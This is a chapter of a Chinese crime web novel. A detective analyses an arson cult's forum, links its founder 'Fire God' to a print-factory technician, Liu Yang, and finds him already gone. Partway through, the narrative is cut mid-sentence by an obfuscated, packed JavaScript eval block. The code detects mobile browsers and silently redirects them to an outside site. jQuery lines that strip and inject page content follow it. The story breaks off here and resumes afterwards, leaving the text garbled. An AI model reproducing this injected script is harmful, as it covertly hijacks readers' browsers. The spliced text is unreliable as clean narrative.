“火焰”论坛的数据在裴凌的电脑里躺了三天。整整三天,他把自己关在网安大队旁边的一间小办公室里,除了上厕所和接水,几乎没有离开过那把椅子。屏幕上的字一行一行地过,他的眼睛从酸痛变成干涩,从干涩变成麻木,到最后连眨眼的频率都变得不规律了。但他不能停,“火神”还在网上,也许正在另一个论坛上发帖,也许正在用另一个ID跟另一个人聊天,也许正在用另一种语言说着同样的话。每多等一天,就多一个人可能被他点燃。
论坛的备份数据很大,几百个帖子,几千条回复,几百条私信。裴凌把它们按照时间顺序排列,从最早的一条开始看。“火焰”论坛成立的时间是去年春天,到现在大概一年半。“火神”是论坛的创建者,也是第一个发帖的人。他的第一个帖子很短,只有一句话——“火是宇宙的呼吸,你听到了吗?”
底下没有回复。
第二天他又发了一条——“火在每一个孤独的灵魂里燃烧,只是大多数人听不到它的声音。”这次有一个人回复了,是一个叫“夜归人”的ID,回复也很短,只有两个字——“听到了。”
裴凌把“夜归人”的ID记了下来。这个人是最早回复“火神”的人,也许是最早被他影响的人。他查了一下“夜归人”的发帖记录,发现这个人后来成了论坛里很活跃的成员,发了上百条帖子,内容大多是自己的生活琐事——加班到很晚,回到家没有人说话,周末一个人不知道干什么。他的帖子跟火没有什么关系,但“火神”每次都会回复他,回复的内容总是能把那些琐事跟火联系在一起。比如“夜归人”说“今天加班到凌晨,街上一个人都没有”,“火神”回复说“黑暗是最诚实的镜子,只有火能照出真正的自己”。
裴凌觉得这不像是在聊天,更像是在洗脑。“火神”用一种看起来很美、听起来很动人的语言,把火包装成了一种救赎,一种解脱,一种孤独灵魂的唯一出路。他不是在教唆犯罪,他是在制造一种信仰。火是他的神,他是火的先知,而那些孤独的、迷茫的、找不到方向的人,是他的信徒。
李海是什么时候加入论坛的?裴凌查了一下,时间在大概一年前。李海的ID叫“灰烬”,头像是一张被烧过的纸的图片,发帖不多,但每一条都跟火有关。他说“我小时候烧过纸,被我妈打了一顿,但那个味道我一直记得”。他说“火是活的,它会呼吸,会跳舞,会说话”。他说“我觉得火在叫我”。
“火神”给“灰烬”的每一条帖子都回复了。回复的内容比给“夜归人”的更具体、更技术性。他说“你听到的是对的,火在叫你。但你需要学会怎么听,不是所有的火都是好的,有些火是脏的,有些火是干净的”。他说“汽油的火是干净的,酒精的火也是干净的,但塑料的火是脏的,不要烧塑料”。
裴凌的手指在鼠标上停了一下。汽油的火是干净的。李海用的就是汽油。
“火神”在教他。不是在论坛的公开帖子里教,是在私信里教的。裴凌调出了“火神”和“灰烬”的私信记录,从头到尾看了一遍。一开始是“灰烬”主动给“火神”发私信,问“你怎么知道汽油的火是干净的?”,“火神”回复说“因为我试过”。然后“灰烬”问“你能教我吗?”,“火神”沉默了两天,然后回复了一长段。那段话写得很详细,从助燃剂的选择到点火的方式,从目标的选择到逃跑的路线,每一步都写得清清楚楚,像一个老师在给学生写教案。
这就是证据。“火神”不是在网上随便说说,他是在有预谋地、有步骤地指导别人放火。他知道自己在做什么,他知道被他指导的人会去做什么,他不在乎。他在乎的只有一件事——让火烧起来。
裴凌把这段私信截图保存,然后继续往下看。王浩是什么时候加入论坛的?大概半年前,ID叫“火烧云”,头像是一张火烧云的图片。他的发帖风格跟李海不一样,更张扬,更炫耀,更像是在向别人展示自己。他说“我今天看到新闻了,城北又着火了,那个人好厉害”。他说“我也想像他一样厉害”。
“火神”给“火烧云”的回复很有意思,不是鼓励,也不是指导,而是一种更含蓄的、更隐晦的引导。他说“厉害不是目的,火本身才是目的。你如果只是为了厉害而放火,你永远放不出干净的火”。王浩显然没有听懂这句话,或者听懂了但不在乎,他继续在论坛上发帖,继续表达对纵火犯的崇拜,继续说自己“也想试试”。后来他果然试了,用工业酒精,在城南放了他人生中的第一把火。
裴凌看着这些记录,心里有一种很奇怪的感觉。“火神”这个人,不是一个普通的教唆犯。他有自己的一套完整的哲学体系,他对火的理解不是工具性的,而是精神性的。火对他来说不是达到目的的手段,火本身就是目的。他放火,不是为了钱,不是为了报复,不是为了任何世俗的东西,他放火是因为他相信火是神圣的。他是一个疯子,一个清醒的、有逻辑的、有感染力的疯子。这种疯子,比李海那种被执念烧毁的人更危险,因为他能把别人也变成疯子。
张伟是最后一个加入论坛的,时间是大概三个月前,ID叫“夜行者”。他的发帖风格跟李海、王浩都不一样,更内敛,更克制,每一条帖子都很短,但每一条都像是一把刀,扎在某个看不见的地方。他说“这个城市太吵了,我想安静”。他说“黑暗中没有人看到我,但我看到了黑暗中的光”。
“火神”给“夜行者”的回复也很短,像是两个懂得沉默的人之间的对话。他说“你不是想安静,你是想让别人安静”。他说“火可以做到”。
裴凌把这三组对话都截了图,保存到了一个文件夹里。这些是“火神”教唆犯罪的直接证据,虽然没有他的真实身份,但这些证据足以让任何一个检察官相信,有一个人在网上系统地、有预谋地引导了至少三个人走上纵火的道路。
现在的问题是,这个人是谁?
裴凌把“火神”的所有发言重新看了一遍,这次不是看内容,是看语言风格。他的用词习惯,他的句式结构,他的标点符号的使用方式。他喜欢用长句,喜欢用排比,喜欢用问句。他很少用感叹号,几乎不用省略号。他的标点符号很规范,逗号是逗号,句号是句号,从来没有用错过。这说明他受过良好的教育,至少上过大学,也许还学过中文或者新闻之类的专业。他的词汇量很大,会用一些不常见的词,比如“赧然”“氤氲”“逡巡”,这些词不是普通人会用的,也不是普通人能理解的。他可能是一个写作者,也许是一个老师,也许是一个编辑,也许是一个在网上写东西的自由职业者。
裴凌把这些特征一条一条地写在了本子上。年龄三十五到四十五岁,男性,大学以上学历,文科专业,职业跟文字有关,独居或长期独处,深夜活跃,可能有失眠症。这是一个很具体的画像了,但具体不等于可操作。符合这些特征的人,在这个城市里少说也有几千个,他没有办法一个一个地去查。
手机震了一下。是系统提示。
【任务“沉默的证人”进度:线索收集完成度百分之九十六。】
【系统提示:“火神”的真实身份已经隐藏在网络深处。建议宿主从论坛的服务器日志入手,寻找更多线索。】
论坛的服务器日志。裴凌之前没有想到这个,日志里记录了每一个访问者的IP地址,虽然“火神”用了虚拟专用网络,IP地址一直在变,但日志里可能还有别的信息,比如访问时间、访问频率、使用的浏览器和设备型号。这些信息单独看没什么用,但放在一起,也许能拼出一个人的数字画像。
裴凌去找了网安大队的人,问他们有没有保存论坛的服务器日志。网安大队的人说有,但日志很大,有几十个G,需要时间去分析。裴凌说能不能先给他一份简化的版本,只要“火神”的访问记录。网安大队的人花了两个小时,从几十个G的数据里筛出了“火神”的所有访问记录,存成了一个文件,拷给了裴凌。
裴凌把文件打开,密密麻麻的数据看得他眼花。时间、IP地址、浏览器版本、操作系统、屏幕分辨率、语言设置,每一列都是一串数字或字母,像是一种他看不懂的外文。但他硬着头皮看下去了,一行一行地看,把那些重复的、无用的信息过滤掉,把那些异常的、特殊的标记出来。
他发现了一个有意思的规律。“火神”的访问时间非常固定,几乎每天都是凌晨一点到三点之间,周末也不例外。这说明他的生活非常有规律,不是那种偶尔失眠的人,而是长期保持着这种作息的人。他的浏览器是Chrome,版本很老,一直没有更新过。这说明他不太在意电脑的安全性,或者说他觉得自己已经足够安全了,不需要更新浏览器。他的操作系统是Windows,语言设置是中文,屏幕分辨率是一个很常见的数值,看不出什么特别。
但裴凌注意到一个细节。“火神”的IP地址虽然每次都在变,但有一个规律——它们都来自同一个虚拟专用网络服务商,一家在国外的小公司。这意味着他每次上网都会打开虚拟专用网络,从来没有忘记过。他是一个非常谨慎的人,他知道自己的行为是违法的,他知道自己需要隐藏真实IP地址。但他的谨慎有一个漏洞,他忘了关掉虚拟专用网络的时候,他的真实IP地址会暴露一瞬。日志里有一条记录,访问时间在凌晨两点十三分,IP地址跟其他的都不一样,不是虚拟专用网络的IP,是一个国内的IP。
裴凌的心跳加速了。他把那个IP地址抄了下来,去找网安大队的人。网安大队的人把这个IP地址输入查询系统,几秒钟后,屏幕上跳出了一行信息——这个IP地址属于城东的一个小区,跟张伟住的小区在同一个区域,但不是同一个小区。
裴凌看着那个小区名字,觉得有点眼熟。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536523|203005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想了想,忽然想起来了——这是城东一家印刷厂的员工宿舍楼。张伟的印刷厂。李海也在同一家印刷厂工作过。王浩跟这家印刷厂没有关系,但李海和张伟都有。如果“火神”也跟这家印刷厂有关系,那一切就连起来了。李海、张伟、“火神”,三个跟印刷厂有关的人,在网上相遇,在现实中放火。
裴凌拿起电话,拨了城东分局的号码,让他们查一下这个IP地址对应的具体位置。等了大概二十分钟,那边回了电话。IP地址对应的是一栋员工宿舍楼的四楼,房间号四零三,住户是一个叫刘洋的男人,三十五岁,印刷厂的技术员,负责化学品的调配和管理。
刘洋。三十五岁。印刷厂技术员,负责化学品调配和管理。他有二甲苯的知识,有汽油的知识,有酒精的知识。他比李海更懂化学,比张伟更懂助燃剂。他知道怎么放火最有效,怎么放火最不容易被发现。但他从来没有自己放过火,他只是在网上教别人放火。他在论坛上叫“火神”,在现实中叫刘洋。他是印刷厂的技术员,是李海和张伟的同事,是王浩的网上导师。他在网上看到了李海的帖子,认出了这个人是他的同事,但没有揭穿他,而是鼓励他,指导他,让他成为更好的纵火犯。他看到了张伟的帖子,也认出了他,同样没有揭穿,同样指导了他。他知道自己在做什么,他知道这些人放的火,有一部分是他点燃的。但他不在乎,他在乎的只有一件事——让火烧起来。
裴凌把本子合上,站起来,走出了那间小办公室。走廊里的灯亮着,白色的光照在地上,把灰色的地毯照得发白。他走到陈岚的办公室门口,门开着,陈岚正在看文件。他敲了敲门框,陈岚抬起头看了他一眼。
“找到了。”裴凌说。
陈岚的目光停在他脸上,看了两秒,然后放下了手里的文件。“谁?”
“刘洋。印刷厂的技术员,李海和张伟的同事。三十五岁,独居,住在印刷厂的员工宿舍里。他是‘火焰’论坛的创建者,ID叫‘火神’。他在网上教李海用汽油,教张伟用二甲苯,教王浩怎么点火。他是这个案子里真正的幕后黑手。”
陈岚沉默了几秒,然后拿起桌上的电话,拨了一个号。“城东分局吗?我是省厅陈岚。马上派人去印刷厂员工宿舍四零三,找一个叫刘洋的人,带回来问话。对,现在就去。”
挂了电话,陈岚看着裴凌,目光里有一种说不清的东西,像是感慨,又像是在说“你这个人真是”。
“你三天没回家了?”陈岚问。
裴凌愣了一下,他不知道陈岚怎么知道的。“三天?差不多。”
“回去洗个澡,睡一觉。刘洋那边,城东分局会处理。”
裴凌摇了摇头。“我想等。”
陈岚看着他,没有再说。她大概知道,这个年轻人是不会在这个时候离开的。她站起来,去茶水间接了一杯水,放在裴凌面前。裴凌说了声谢谢,捧着水杯,没有喝。水是温的,杯壁的温度透过手心传进来,暖暖的,像是什么东西在慢慢地解冻。
等待的时间比裴凌预想的要长。城东分局的人去了印刷厂员工宿舍,四零三房间锁着门,敲了很久没有人应。他们叫了房东来开门,门开了,里面没有人。桌上的电脑还开着,屏幕上是“火焰”论坛的管理界面。旁边放着一杯已经凉透了的咖啡,咖啡的表面上浮着一层薄薄的膜。人刚走不久,也许就在他们来之前的几分钟。
裴凌听到这个消息的时候,手指不自觉地攥紧了水杯。跑了。刘洋跑了。他大概是在网上看到了什么风声,或者从李海和张伟被捕的消息里嗅到了危险。他是一个谨慎的人,比李海和张伟都谨慎,他不会等到警察上门才跑。
“全城布控,车站、机场、高速路口,所有出城的方向都查。”陈岚的声音从电话这头传到那头,每个字都像是从牙缝里挤出来的,“他跑不远的。”
裴凌放下水杯,站起来,走到窗边。窗外的天已经快黑了,夕阳把西边的天空染成了橘红色,像是什么东西在燃烧。他看着那片橘红色的天,心里有一团火在烧。不是李海的那种火,不是王浩的那种火,也不是张伟的那种火。是一种更安静的、更克制的、藏在胸腔最深处的火。他知道刘洋跑不了,但他的担心不是刘洋跑不跑得了,而是刘洋在跑之前做了什么。他会销毁证据吗?他已经销毁了。他会关闭论坛吗?论坛还开着,管理界面上还有未读的私信。他会做最后一件事吗?也许他在走之前,在论坛上发了最后一个帖子,给那些还在听他说话的人,留下最后一段话。
裴凌转过身,走回了那间小办公室,打开电脑,登录了“火焰”论坛的管理后台。他看到了一条新的帖子,是“火神”发的,时间在一个小时前,标题只有两个字——“再见”。帖子的内容是一首诗,写的什么裴凌已经记不清了,他只记得最后两句——“火会继续燃烧,在我看不见的地方。”